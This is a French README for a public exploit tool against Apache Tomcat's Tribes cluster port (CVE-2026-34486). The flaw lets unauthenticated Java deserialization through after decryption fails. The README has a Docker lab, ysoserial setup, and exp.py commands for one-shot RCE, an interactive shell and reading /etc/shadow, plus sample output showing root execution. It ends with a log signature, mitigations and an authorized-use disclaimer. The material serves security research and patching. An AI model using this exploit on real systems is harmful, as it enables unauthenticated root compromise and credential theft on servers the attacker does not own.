
Exploit pour le contournement d'EncryptInterceptor d'Apache Tomcat menant à une exécution de code à distance (RCE) non authentifiée via la désérialisation Java sur le port 4000. Inclut la configuration du laboratoire, un shell interactif et des conseils de détection.
Le module de communication de cluster Tribes d'Apache Tomcat ne parvient pas à rejeter les messages lorsque le déchiffrement
EncryptInterceptoréchoue, permettant à des attaquants non authentifiés de déclencher une exécution de code à distance via la désérialisation Java sur le port 4000.
| Champ | Informations |
|---|---|
| ID CVE | CVE-2026-34486 |
| Score CVSS | 7,5 (Élevé) |
| Composant | EncryptInterceptor de Tribes Apache Tomcat |
| Versions affectées | 9.0.0.M1 – 9.0.116 / 10.1.0-M1 – 10.1.53 / 11.0.0-M1 – 11.0.20 |
| Versions corrigées | 9.0.117 / 10.1.54 / 11.0.21 |
| Type de vulnérabilité | Exécution de code à distance non authentifiée via désérialisation |
| Vecteur d'attaque | Réseau / Aucune authentification / Complexité faible |
| Port d'attaque | TCP 4000 (NioReceiver Tribes) |
La fonctionnalité de clustering d'Apache Tomcat utilise le framework Tribes pour synchroniser les données de session entre les nœuds du cluster, en écoutant sur le port TCP 4000 par défaut.
Lorsque EncryptInterceptor (AES/CBC) est activé, la faille logique suivante existe :
// EncryptInterceptor.java — version vulnérable
public void messageReceived(ChannelMessage msg) {
try {
byte[] decrypted = decrypt(msg.getMessage().getBytes());
// traiter le message déchiffré...
} catch (Exception e) {
log.error("Failed to decrypt message", e); // journalise uniquement l'erreur
}
super.messageReceived(msg); // ← BUG : les octets bruts sont transmis même après un échec de déchiffrement
}
Le bloc catch ne fait que journaliser l'erreur. Étant donné que super.messageReceived(msg) est en dehors du bloc try-catch, les octets bruts non chiffrés sont transmis à XByteBuffer.deserialize() → ObjectInputStream.readObject().
Un attaquant peut envoyer une charge utile de désérialisation spécialement conçue pour déclencher une RCE sans aucune authentification.
Attaquant ──TCP:4000──► NioReceiver (aucune authentification)
│
EncryptInterceptor.messageReceived()
try { déchiffrement AES/CBC → IllegalBlockSizeException }
catch{ log.severe("Failed to decrypt") } ← uniquement une trace de journal
super.messageReceived(msg) ← BUG : les octets bruts passent
│
GroupChannel → XByteBuffer.deserialize()
│
ObjectInputStream.readObject() ← désérialisation déclenchée
│
Chaîne de gadgets CommonsCollections6
│
Runtime.exec() → RCE en tant que root 🔴
Le correctif déplace super.messageReceived(msg) à l'intérieur du bloc try, de sorte que tout échec de déchiffrement entraîne le rejet silencieux du message (échec-fermé).
// EncryptInterceptor.java — version corrigée
public void messageReceived(ChannelMessage msg) {
try {
byte[] decrypted = decrypt(msg.getMessage().getBytes());
// traiter...
super.messageReceived(msg); // ← CORRIGÉ : atteint uniquement si le déchiffrement réussit
} catch (Exception e) {
log.error("Failed to decrypt message", e); // le message est rejeté
}
}
java et javac dans le PATH)ysoserial-all.jarapache-tomcat-9.0.116 (pour la bibliothèque Tribes)docker run -d \
--name tomcat-cve-2026-34486 \
-p 8080:8080 \
-p 4000:4000 \
nowday3/cve-2026-34486:latest
# Vérification
curl http://localhost:8080
# exploit
git clone https://github.com/404-src/CVE-2026-34486
cd CVE-2026-34486/
# ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# Tomcat 9.0.116 (pour la bibliothèque Tribes)
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz
tar xzf apache-tomcat-9.0.116.tar.gz
cp apache-tomcat-9.0.116/bin/tomcat-juli.jar apache-tomcat-9.0.116/lib/
python3 exp.py -t 127.0.0.1 -p 4000 -c "touch /tmp/pwned"
# Vérification
docker exec tomcat-cve-2026-34486 ls -la /tmp/pwned
python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"
# Sortie : uid=0(root) gid=0(root) groups=0(root)
python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/passwd"
python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/shadow"
python3 exp.py -t 127.0.0.1 -p 4000 --shell
# [email protected]$ id
# [email protected]$ hostname
# [email protected]$ exit
python3 exp.py -t 127.0.0.1 -p 4000 --rce "id" \
--ysoserial ./ysoserial-all.jar \
--tomcat-lib ./apache-tomcat-9.0.116/lib
-t, --target IP cible (défaut : 127.0.0.1)
-p, --port Port Tribes (défaut : 4000)
--http-port Port HTTP pour la récupération de la sortie (défaut : 8080)
-c, --command Exécuter la commande directement (sans fonctionnalités shell)
--rce Exécuter la commande et récupérer la sortie via HTTP
--shell Mode shell interactif
-g, --gadget Chaîne de gadgets (défaut : CommonsCollections6)
--ysoserial Chemin vers le jar ysoserial
--tomcat-lib Chemin vers le répertoire lib de Tomcat
$ python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═══██╗╚════██╗██╔════╝
██║ ██║ ██║█████╗█████╗ █████╔╝██║ ██║ █████╔╝███████╗
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ██║▄▄ ██║██╔═══╝ ██╔══██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝
34486
Contournement EncryptInterceptor Apache Tomcat → Désérialisation → RCE
Cible : 127.0.0.1:4000
Gadget : CommonsCollections6
[*] Compilation de TribesClient.java ...
[+] Compilation réussie
[*] Génération de la charge utile CommonsCollections6 ...
[+] Charge utile : 1361 octets
[*] Envoi de la trame Tribes → 127.0.0.1:4000
[tribes] frame=1496B cdBytes=1478B
[+] Trame envoyée !
[*] Récupération du résultat : http://127.0.0.1:8080/.out.txt
uid=0(root) gid=0(root) groups=0(root)
La seule trace de journal laissée par l'attaque :
SEVERE [Tribes-Task-Receiver[Catalina-Channel]-1]
org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived
Failed to decrypt message
javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16
when decrypting with padded cipher
Aucune exception readObject n'est journalisée — la commande s'exécute silencieusement.
| Action | Priorité |
|---|---|
| Mettre à niveau vers Tomcat 9.0.117 / 10.1.54 / 11.0.21 | Critique |
| Restreindre le port 4000 aux seules IP de cluster de confiance | Élevée |
Surveiller les journaux pour les messages répétés Failed to decrypt message | Moyenne |
| Désactiver le clustering Tribes si non nécessaire | Élevée |
Ce projet est destiné uniquement à la recherche en sécurité autorisée, aux tests d'intrusion et à des fins éducatives. N'utilisez pas cet outil contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester. L'auteur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par cet outil.
Licence MIT © 2026 404-src